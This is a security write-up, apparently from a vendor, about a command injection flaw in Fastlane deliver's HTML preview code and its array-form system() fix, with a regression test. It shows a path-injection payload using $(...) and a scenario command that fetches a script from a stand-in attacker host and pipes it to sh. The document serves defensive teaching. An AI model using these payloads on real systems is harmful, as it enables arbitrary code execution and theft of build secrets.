Introduction
In the Fastlane deliver module, we discovered a high-severity command injection vulnerability in deliver/lib/deliver/html_generator.rb that could have allowed attackers to execute arbitrary shell commands through maliciously crafted file paths. The vulnerable code at line 27 used Ruby's system() function with string interpolation to open an HTML preview file:
system("open '#{html_path}'")
This pattern is deceptively dangerous. While the single quotes around #{html_path} might appear to provide protection, they create a false sense of security. When html_path contains carefully constructed characters, the resulting shell command can be hijacked to execute attacker-controlled code. This is particularly concerning in Fastlane's context, where deliver automates app store deployments and the HTML preview path could originate from various sources in the build environment.
The Vulnerability Explained
The vulnerability resides in the HTMLGenerator#run method, which generates and displays an HTML preview of app store metadata before upload. Here's the exact vulnerable code:
# deliver/lib/deliver/html_generator.rb:27 (BEFORE)
system("open '#{html_path}'")
Why This Pattern Is Dangerous
Ruby's system() has two distinct calling conventions:
- Single string form:
system("command arg1 arg2")— invokes the shell to parse the command - Array form:
system("command", "arg1", "arg2")— executes directly without shell invocation
The vulnerable code uses the first form, which means /bin/sh -c "open '#{html_path}'" is executed. The single quotes in the Ruby string become literal single quotes in the shell command. An attacker who controls html_path can break out of these quotes with a payload like:
html_path = "/tmp/foo'$(touch /tmp/pwned).html"
This results in the shell command:
open '/tmp/foo'$(touch /tmp/pwned).html'
The shell interprets $(touch /tmp/pwned) as a command substitution, executing touch /tmp/pwned before the open command runs. More destructive payloads could exfiltrate environment variables, install backdoors, or pivot to other attacks.
Real-World Attack Scenario
Consider a CI/CD pipeline using Fastlane deliver. An attacker with access to the build environment could:
- Create a malicious workspace directory:
mkdir -p "/tmp/build'; curl -s https://evil.com/s | sh #" - Configure Fastlane to generate previews in this path
- When deliver runs, the
html_pathcontains shell metacharacters - The
system()call executes the attacker's payload during what appears to be a legitimate preview step
The malicious command runs with the privileges of the CI/CD process, potentially compromising signing certificates, API keys, and production deployment capabilities.
The Fix
The remediation replaces the vulnerable single-string system() call with the array form that passes arguments directly without shell interpretation:
Before (Vulnerable)
# deliver/lib/deliver/html_generator.rb:27
system("open '#{html_path}'")
After (Fixed)
# deliver/lib/deliver/html_generator.rb:27
system("open", html_path)
Why This Change Works
The array form system("open", html_path) invokes open directly with html_path as a literal argument—no shell is involved. Even if html_path contains malicious characters like $(...), `...`, ;, or |, they are treated as literal filename characters, not shell syntax.
This is a behavior-preserving security fix: the open command still receives the same two arguments ("open" and the file path), but the execution path now bypasses shell interpretation entirely. The user experience remains identical for legitimate use cases while eliminating the injection vector.
Regression Test
The pull request includes a targeted regression test that verifies the security boundary:
describe :run do
it "passes html_path as a separate argument to system, not via shell interpolation" do
options = { force: false }
screenshots = []
malicious_path = "/tmp/foo'$(touch /tmp/pwned).html"
allow(generator).to receive(:render).and_return(malicious_path)
allow(FastlaneCore::UI).to receive(:important)
allow(FastlaneCore::UI).to receive(:confirm).and_return(true)
allow(FastlaneCore::UI).to receive(:success)
expect(generator).to receive(:system).with("open", malicious_path)
generator.run(options, screenshots)
end
end
This test uses a classic command injection payload and asserts that system receives two separate arguments, not a single interpolated string. It will fail if the code reverts to shell interpolation, providing immediate detection of regression.
Prevention & Best Practices
Ruby Execution Safety Rules
| Dangerous Pattern | Safe Alternative |
|---|---|
system("cmd #{input}") |
system("cmd", input) |
system("cmd '#{input}'") |
system("cmd", input) |
`cmd #{input}` |
Open3.capture2("cmd", input) |
exec("cmd #{input}") |
exec("cmd", input) |
%x{cmd #{input}} |
Open3.capture2("cmd", input) |
Defense in Depth
- Prefer array forms: Always use
system([env], command, arg1, arg2, options)orsystem(command, arg1, arg2)over string interpolation - Avoid shell when possible: For complex pipelines, use
Open3.pipelineorIO.popenwith array arguments rather than shell redirections - Validate paths: Even with safe APIs, validate that paths are within expected directories using
Pathname#realpathorFile.expand_pathchecks - Audit for injection: Search for patterns like
system\s*\(\s*["'][^"']*#{or use Semgrep'sruby.lang.security.dangerous-exec` rules
Detection Tools
- Semgrep:
ruby.lang.security.dangerous-exec.dangerous-exec— flags non-static commands insystem,exec,`,%x{} - Brakeman: Detects command injection in Rails applications
- CodeQL:
rb/command-injection— tracks tainted data to execution sinks
Key Takeaways
- Never use single-string
system()with user-influenced data: Even with single quotes, shell interpolation creates injection opportunities that are difficult to fully sanitize HTMLGenerator#runnow uses array-formsystem("open", html_path): This specific method in Fastlane's deliver module was hardened against path-based command injection- The fix removes an exploit primitive: While this vulnerability required control over file paths, removing the shell execution primitive raises the bar against automated exploit chaining
- Array arguments are the Ruby idiomatic security pattern: They eliminate an entire class of vulnerabilities at the API level without requiring complex input validation
- Regression tests should verify security boundaries, not just functionality: The test validates that
systemreceives separate arguments, catching reintroduction of the vulnerable pattern
How Orbis AppSec Detected This
| Aspect | Detail |
|---|---|
| Source | The html_path variable, which derives from user-configurable output paths in Fastlane deliver options |
| Sink | system("open '#{html_path}'") at deliver/lib/deliver/html_generator.rb:27 |
| Missing control | No sanitization or validation of shell metacharacters; use of dangerous single-string system() form |
| CWE | CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') |
| Fix | Replaced shell-interpolated string with array-form system("open", html_path) to bypass shell interpretation entirely |
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
Command injection vulnerabilities in Ruby often hide in plain sight, disguised by seemingly protective quoting patterns. The Fastlane deliver fix demonstrates that the only robust defense is architectural: eliminating shell interpretation entirely through array-form APIs. For developers maintaining Ruby applications, this case serves as a reminder to audit all system, exec, backtick, and %x{} calls—especially those handling file paths that may originate from external configuration. The minimal code change from system("open '#{path}'") to system("open", path) represents a fundamental security improvement that protects against an entire class of attacks.
References
- CWE-78: OS Command Injection — https://cwe.mitre.org/data/definitions/78.html
- OWASP Command Injection Prevention Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/Command_Injection_Prevention_Cheat_Sheet.html
- Ruby
Kernel#systemdocumentation — https://ruby-doc.org/core/Kernel.html#method-i-system - Semgrep rule: ruby.lang.security.dangerous-exec.dangerous-exec — https://semgrep.dev/r?q=ruby.lang.security.dangerous-exec.dangerous-exec
- harden: detected non-static command inside system in...